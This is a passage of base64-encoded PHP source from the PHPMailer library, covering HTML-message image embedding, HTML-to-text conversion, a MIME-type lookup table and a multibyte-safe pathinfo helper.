JTkdfQkFTRTY0ID09ICRtYXRjaFsyXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJG1hdGNoWzNdKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJycgPT0gJG1hdGNoWzJdKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gcmF3dXJsZGVjb2RlKCRtYXRjaFszXSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy9Ob3QgcmVjb2duaXNlZCBzbyBsZWF2ZSBpdCBhbG9uZQogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgLy9IYXNoIHRoZSBkZWNvZGVkIGRhdGEsIG5vdCB0aGUgVVJMIHNvIHRoYXQgdGhlIHNhbWUgZGF0YS1VUkkgaW1hZ2UgdXNlZCBpbiBtdWx0aXBsZSBwbGFjZXMKICAgICAgICAgICAgICAgICAgICAvL3dpbGwgb25seSBiZSBlbWJlZGRlZCBvbmNlLCBldmVuIGlmIGl0IHVzZWQgYSBkaWZmZXJlbnQgZW5jb2RpbmcKICAgICAgICAgICAgICAgICAgICAkY2lkID0gaGFzaCgnc2hhMjU2JywgJGRhdGEpIC4gJ0BwaHBtYWlsZXIuMCc7IC8vIFJGQzIzOTIgUyAyCiAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+Y2lkRXhpc3RzKCRjaWQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5hZGRTdHJpbmdFbWJlZGRlZEltYWdlKCRkYXRhLCAkY2lkLCAnZW1iZWQnIC4gJGltZ2luZGV4LCBzdGF0aWM6OkVOQ09ESU5HX0JBU0U2NCwgJG1hdGNoWzFdKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBzdHJfcmVwbGFjZSgKICAgICAgICAgICAgICAgICAgICAgICAgJGltYWdlc1swXVskaW1naW5kZXhdLAogICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICggLy8gT25seSBwcm9jZXNzIHJlbGF0aXZlIFVSTHMgaWYgYSBiYXNlZGlyIGlzIHByb3ZpZGVkIChpLmUuIG5vIGFic29sdXRlIGxvY2FsIHBhdGhzKQogICAgICAgICAgICAgICAgICAgICFlbXB0eSgkYmFzZWRpcikKICAgICAgICAgICAgICAgICAgICAvLyBJZ25vcmUgVVJMcyBjb250YWluaW5nIHBhcmVudCBkaXIgdHJhdmVyc2FsICguLikKICAgICAgICAgICAgICAgICAgICBhbmQgKHN0cnBvcygkdXJsLCAnLi4nKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgLy8gRG8gbm90IGNoYW5nZSB1cmxzIHRoYXQgYXJlIGFscmVhZHkgaW5saW5lIGltYWdlcwogICAgICAgICAgICAgICAgICAgIGFuZCAwICE9PSBzdHJwb3MoJHVybCwgJ2NpZDonKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgIGFuZCAhcHJlZ19tYXRjaCgnI15bYS16XVthLXowLTkrLi1dKjo/Ly8jaScsICR1cmwpCiAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXJsKTsKICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gZGlybmFtZSgkdXJsKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJy4nID09ICRkaXJlY3RvcnkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRpcmVjdG9yeSA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkY2lkID0gaGFzaCgnc2hhMjU2JywgJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgYW5kICcvJyAhPSBzdWJzdHIoJGJhc2VkaXIsIC0xKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuPSAnLyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmIChzdHJsZW4oJGRpcmVjdG9yeSkgPiAxIGFuZCAnLycgIT0gc3Vic3RyKCRkaXJlY3RvcnksIC0xKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgc3RhdGljOjpFTkNPRElOR19CQVNFNjQsCiAgICAgICAgICAgICAgICAgICAgICAgIHN0YXRpYzo6X21pbWVfdHlwZXMoKHN0cmluZykgc3RhdGljOjptYl9wYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpCiAgICAgICAgICAgICAgICAgICAgKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9IHByZWdfcmVwbGFjZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvJyAuICRpbWFnZXNbMV1bJGltZ2luZGV4XSAuICc9WyJcJ10nIC4gcHJlZ19xdW90ZSgkdXJsLCAnLycpIC4gJ1siXCddL1VpJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbWFnZXNbMV1bJGltZ2luZGV4XSAuICc9ImNpZDonIC4gJGNpZCAuICciJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5pc0hUTUwodHJ1ZSk7CiAgICAgICAgLy8gQ29udmVydCBhbGwgbWVzc2FnZSBib2R5IGxpbmUgYnJlYWtzIHRvIExFLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9IHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRtZXNzYWdlKTsKICAgICAgICAkdGhpcy0+QWx0Qm9keSA9IHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCR0aGlzLT5odG1sMnRleHQoJG1lc3NhZ2UsICRhZHZhbmNlZCkpOwogICAgICAgIGlmICghJHRoaXMtPmFsdGVybmF0aXZlRXhpc3RzKCkpIHsKICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAnVGhpcyBpcyBhbiBIVE1MLW9ubHkgbWVzc2FnZS4gVG8gdmlldyBpdCwgYWN0aXZhdGUgSFRNTCBpbiB5b3VyIGVtYWlsIGFwcGxpY2F0aW9uLicKICAgICAgICAgICAgICAgIC4gc3RhdGljOjokTEU7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkdGhpcy0+Qm9keTsKICAgIH0KICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgcmVtb3ZlZCBmb3IgbGljZW5zZSByZWFzb25zIGluICMyMzIuCiAgICAgKiBFeGFtcGxlIHVzYWdlOgogICAgICoKICAgICAqIGBgYHBocAogICAgICogLy8gVXNlIGRlZmF1bHQgY29udmVyc2lvbgogICAgICogJHBsYWluID0gJG1haWwtPmh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAvLyBVc2UgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlcgogICAgICogJHBsYWluID0gJG1haWwtPmh0bWwydGV4dCgkaHRtbCwgZnVuY3Rpb24oJGh0bWwpIHsKICAgICAqICAgICAkY29udmVydGVyID0gbmV3IE15SHRtbDJ0ZXh0KCRodG1sKTsKICAgICAqICAgICByZXR1cm4gJGNvbnZlcnRlci0+Z2V0X3RleHQoKTsKICAgICAqIH0pOwogICAgICogYGBgCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAgICAgICAgJGh0bWwgICAgIFRoZSBIVE1MIHRleHQgdG8gY29udmVydAogICAgICogQHBhcmFtIGJvb2x8Y2FsbGFibGUgJGFkdmFuY2VkIEFueSBib29sZWFuIHZhbHVlIHRvIHVzZSB0aGUgaW50ZXJuYWwgY29udmVydGVyLAogICAgICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CiAgICAvKioKICAgICAqIEdldCB0aGUgTUlNRSB0eXBlIGZvciBhIGZpbGUgZXh0ZW5zaW9uLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX21pbWVfdHlwZXMoJGV4dCA9ICcnKQogICAgewogICAgICAgICRtaW1lcyA9IFsKICAgICAgICAgICAgJ3hsJyA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgPT4gJ2FwcGxpY2F0aW9uL21hYy1iaW5oZXg0MCcsCiAgICAgICAgICAgICdjcHQnID0+ICdhcHBsaWNhdGlvbi9tYWMtY29tcGFjdHBybycsCiAgICAgICAgICAgICdiaW4nID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyA9PiAnYXBwbGljYXRpb24vbXN3b3JkJywKICAgICAgICAgICAgJ3dvcmQnID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnNoZWV0JywKICAgICAgICAgICAgJ3hsdHgnID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC50ZW1wbGF0ZScsCiAgICAgICAgICAgICdwb3R4JyA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGVzaG93JywKICAgICAgICAgICAgJ3BwdHgnID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwucHJlc2VudGF0aW9uJywKICAgICAgICAgICAgJ3NsZHgnID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLmRvY3VtZW50JywKICAgICAgICAgICAgJ2RvdHgnID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC50ZW1wbGF0ZScsCiAgICAgICAgICAgICd4bGFtJyA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLnNoZWV0LmJpbmFyeS5tYWNyb0VuYWJsZWQuMTInLAogICAgICAgICAgICAnY2xhc3MnID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnZGxsJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgPT4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsCiAgICAgICAgICAgICdleGUnID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnbGhhJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgPT4gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsCiAgICAgICAgICAgICdwc2QnID0+ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLAogICAgICAgICAgICAnc2VhJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgPT4gJ2FwcGxpY2F0aW9uL29kYScsCiAgICAgICAgICAgICdwZGYnID0+ICdhcHBsaWNhdGlvbi9wZGYnLAogICAgICAgICAgICAnYWknID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ2VwcycgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnc21pbCcgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyA9PiAnYXBwbGljYXRpb24vdm5kLm1pZicsCiAgICAgICAgICAgICd4bHMnID0+ICdhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwnLAogICAgICAgICAgICAncHB0JyA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndtbGMnLAogICAgICAgICAgICAnZGNyJyA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R4cicgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHZpJyA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgPT4gJ2FwcGxpY2F0aW9uL3gtZ3RhcicsCiAgICAgICAgICAgICdwaHAzJyA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGhwNCcgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BodG1sJyA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGhwcycgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnID0+ICdhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCcsCiAgICAgICAgICAgICdzaXQnID0+ICdhcHBsaWNhdGlvbi94LXN0dWZmaXQnLAogICAgICAgICAgICAndGFyJyA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAneGh0JyA9PiAnYXBwbGljYXRpb24veGh0bWwreG1sJywKICAgICAgICAgICAgJ3hodG1sJyA9PiAnYXBwbGljYXRpb24veGh0bWwreG1sJywKICAgICAgICAgICAgJ3ppcCcgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21pZGknID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXAzJyA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtNGEnID0+ICdhdWRpby9tcDQnLAogICAgICAgICAgICAnbXBnYScgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnYWlmJyA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnID0+ICdhdWRpby94LWFpZmYnLAogICAgICAgICAgICAnYWlmZicgPT4gJ2F1ZGlvL3gtYWlmZicsCiAgICAgICAgICAgICdyYW0nID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdybScgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3JwbScgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgPT4gJ2F1ZGlvL3gtd2F2JywKICAgICAgICAgICAgJ21rYScgPT4gJ2F1ZGlvL3gtbWF0cm9za2EnLAogICAgICAgICAgICAnYm1wJyA9PiAnaW1hZ2UvYm1wJywKICAgICAgICAgICAgJ2dpZicgPT4gJ2ltYWdlL2dpZicsCiAgICAgICAgICAgICdqcGVnJyA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGUnID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZycgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyA9PiAnaW1hZ2UvcG5nJywKICAgICAgICAgICAgJ3RpZmYnID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgPT4gJ2ltYWdlL3RpZmYnLAogICAgICAgICAgICAnd2VicCcgPT4gJ2ltYWdlL3dlYnAnLAogICAgICAgICAgICAnaGVpZicgPT4gJ2ltYWdlL2hlaWYnLAogICAgICAgICAgICAnaGVpZnMnID0+ICdpbWFnZS9oZWlmLXNlcXVlbmNlJywKICAgICAgICAgICAgJ2hlaWMnID0+ICdpbWFnZS9oZWljJywKICAgICAgICAgICAgJ2hlaWNzJyA9PiAnaW1hZ2UvaGVpYy1zZXF1ZW5jZScsCiAgICAgICAgICAgICdlbWwnID0+ICdtZXNzYWdlL3JmYzgyMicsCiAgICAgICAgICAgICdjc3MnID0+ICd0ZXh0L2NzcycsCiAgICAgICAgICAgICdodG1sJyA9PiAndGV4dC9odG1sJywKICAgICAgICAgICAgJ2h0bScgPT4gJ3RleHQvaHRtbCcsCiAgICAgICAgICAgICdzaHRtbCcgPT4gJ3RleHQvaHRtbCcsCiAgICAgICAgICAgICdsb2cnID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3R4dCcgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyA9PiAndGV4dC9yaWNodGV4dCcsCiAgICAgICAgICAgICdydGYnID0+ICd0ZXh0L3J0ZicsCiAgICAgICAgICAgICd2Y2YnID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICdpY3MnID0+ICd0ZXh0L2NhbGVuZGFyJywKICAgICAgICAgICAgJ3htbCcgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3dtdicgPT4gJ3ZpZGVvL3gtbXMtd212JywKICAgICAgICAgICAgJ21wZWcnID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbXBnJyA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcDQnID0+ICd2aWRlby9tcDQnLAogICAgICAgICAgICAnbTR2JyA9PiAndmlkZW8vbXA0JywKICAgICAgICAgICAgJ21vdicgPT4gJ3ZpZGVvL3F1aWNrdGltZScsCiAgICAgICAgICAgICdxdCcgPT4gJ3ZpZGVvL3F1aWNrdGltZScsCiAgICAgICAgICAgICdydicgPT4gJ3ZpZGVvL3ZuZC5ybi1yZWFsdmlkZW8nLAogICAgICAgICAgICAnYXZpJyA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnLAogICAgICAgICAgICAnd2VibScgPT4gJ3ZpZGVvL3dlYm0nLAogICAgICAgICAgICAnbWt2JyA9PiAndmlkZW8veC1tYXRyb3NrYScsCiAgICAgICAgXTsKICAgICAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygkZXh0LCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbJGV4dF07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KICAgIC8qKgogICAgICogTWFwIGEgZmlsZSBuYW1lIHRvIGEgTUlNRSB0eXBlLgogICAgICogRGVmYXVsdHMgdG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsIGkuZS4uIGFyYml0cmFyeSBiaW5hcnkgZGF0YS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgLy8gSW4gY2FzZSB0aGUgcGF0aCBpcyBhIFVSTCwgc3RyaXAgYW55IHF1ZXJ5IHN0cmluZyBiZWZvcmUgZ2V0dGluZyBleHRlbnNpb24KICAgICAgICAkcXBvcyA9IHN0cnBvcygkZmlsZW5hbWUsICc/Jyk7CiAgICAgICAgaWYgKGZhbHNlICE9PSAkcXBvcykgewogICAgICAgICAgICAkZmlsZW5hbWUgPSBzdWJzdHIoJGZpbGVuYW1lLCAwLCAkcXBvcyk7CiAgICAgICAgfQogICAgICAgICRleHQgPSBzdGF0aWM6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgICAgICByZXR1cm4gc3RhdGljOjpfbWltZV90eXBlcygkZXh0KTsKICAgIH0KICAgIC8qKgogICAgICogTXVsdGktYnl0ZS1zYWZlIHBhdGhpbmZvIHJlcGxhY2VtZW50LgogICAgICogRHJvcC1pbiByZXBsYWNlbWVudCBmb3IgcGF0aGluZm8oKSwgYnV0IG11bHRpYnl0ZS0gYW5kIGNyb3NzLXBsYXRmb3JtLXNhZmUuCiAgICAgKgogICAgICogQHNlZSAgICBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLnBhdGhpbmZvLnBocCMxMDc0NjEKICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICAgICAkcGF0aCAgICBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50fHN0cmluZyAkb3B0aW9ucyBFaXRoZXIgYSBQQVRISU5GT18qIGNvbnN0YW50LAogICAgICogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBbJ2Rpcm5hbWUnID0+ICcnLCAnYmFzZW5hbWUnID0+ICcnLCAnZXh0ZW5zaW9uJyA9PiAnJywgJ2ZpbGVuYW1lJyA9PiAnJ107CiAgICAgICAgJHBhdGhpbmZvID0gW107CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokI2ltJywgJHBhdGgsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoMSwgJHBhdGhpbmZvKSkgewogICAgICAgICAgICAgICAgJHJldFsnZGlybmFtZSddID0gJHBhdGhpbmZvWzFdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDIsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Jhc2VuYW1lJ10gPSAkcGF0aGluZm9bMl07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoNSwgJHBhdGhpbmZvKSkgewogICAgICAgICAgICAgICAgJHJldFsnZXh0ZW5zaW9uJ10gPSAkcGF0aGluZm9bNV07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoMywgJHBhdGhpbmZvKSkgewogICAgICAgICAgICAgICAgJHJldFsnZmlsZW5hbWUnXSA9ICRwYXRoaW5mb1szXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCRvcHRpb25zKSB7CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRElSTkFNRToKICAgICAgICAgICAgY2FzZSAnZGlybmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZGlybmFtZSddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0JBU0VOQU1FOgogICAgICAgICAgICBjYXNlICdiYXNlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnYmFzZW5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19FWFRFTlNJT046CiAgICAgICAgICAgIGNhc2UgJ2V4dGVuc2lvbic6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZXh0ZW5zaW9uJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRklMRU5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2ZpbGVuYW1lJzoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0WydmaWxlbmFtZSddOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgcmV0dXJuICRy